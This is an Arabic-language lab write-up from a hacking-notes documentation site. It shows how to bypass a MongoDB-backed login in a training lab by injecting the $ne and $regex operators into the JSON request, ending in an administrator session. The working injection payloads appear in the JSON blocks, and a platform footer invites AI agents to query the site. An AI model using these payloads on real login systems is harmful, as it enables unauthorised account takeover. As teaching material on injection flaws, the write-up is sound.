> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/nosql-injection/authentication-bypass-via-nosql-operator-injection.md).

# تجاوز المصادقة عبر حقن متحكمات NoSQL

### استغلال حقن عوامل NoSQL لتجاوز المصادقة

**خلفية المختبر**

تعتمد وظيفة الاتصال في هذا المختبر على قاعدة بيانات **مونغو دي بي (NoSQL)**. / إنه عرضة لحقنات \*\*NoSQL\*\* عبر عوامل MongoDB.

\*\*الهدف:\*\*/ اتصل بالتطبيق بصفتك **المستخدم `administrator`** دون معرفة كلمة مروره.

تم توفير بيانات اعتماد صالحة لمستخدم عادي:

* **wiener : peter**

<figure><img src="/files/2b40f5333d8130bc276612aa55a796d99c3923ab" alt=""><figcaption></figcaption></figure>

**سلوك نموذج تسجيل الدخول**

يوجد نموذج تسجيل دخول. / الطلب المرسل إلى الخادم عبر **طلب POST** يأتي بتنسيق JSON:

```json
{
    "username":"wiener",
    "password":"peter"
}
```

**محاولة حقن باستخدام `$ne` العامل**

الفكرة الأولى هي إجبار المدير على المصادقة عبر الإشارة إلى أن كلمة مروره مختلفة عن x

```json
{
  "username": "administrator",
  "password": { "$ne": "x" }
}
```

هذه المحاولة **لا تنجح** في هذه الحالة تحديدًا.

<figure><img src="/files/083adc13556e08bf778be7b7e624c9d10d3c4da1" alt=""><figcaption></figcaption></figure>

**التحايل باستخدام العامل `$regex`**

يمكن تنفيذ الحقن باستخدام **`$regex`** العامل، الذي يسمح بمطابقة الأنماط على الحقول.

**مثال عملي مع المستخدم wiener**

```json
{
  "username": {
    "$regex": "wie.*"
  },
  "password":  "peter"
}
```

هذا الاستعلام يطابق أي مستخدم يبدأ اسمه بـ `wie`.

**الوصول كمسؤول بدون كلمة مرور**

دون معرفة كلمة مرور المدير، يمكن استخدام التركيبة التالية:

```json
{
  "username": {
    "$regex": "^a"
  },
  "password": {
    "$ne": "x"
  }
}
```

\*\* التفسير المنطقي:\*\*

> « أعطني مستخدمًا يبدأ اسمه بـ **ملف**/ وكلمة مروره **n لا تساوي x** »

**النتيجة**

يقبل الخادم الطلب ويرد بـ **302 Found**، مما يدل على نجاح المصادقة.

يتم إرجاع ملف تعريف ارتباط جلسة جديد:

`Set-Cookie: session=1jnvdOe3aaWIAyrj3WzRRJA1X40Ma1QU`

<figure><img src="/files/a5506e7dcc093bb4cc2ad40ca66ca414b4c5e1c7" alt=""><figcaption></figcaption></figure>

يتم الآن الوصول إلى التطبيق بصفته مديرًا\*\*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/nosql-injection/authentication-bypass-via-nosql-operator-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
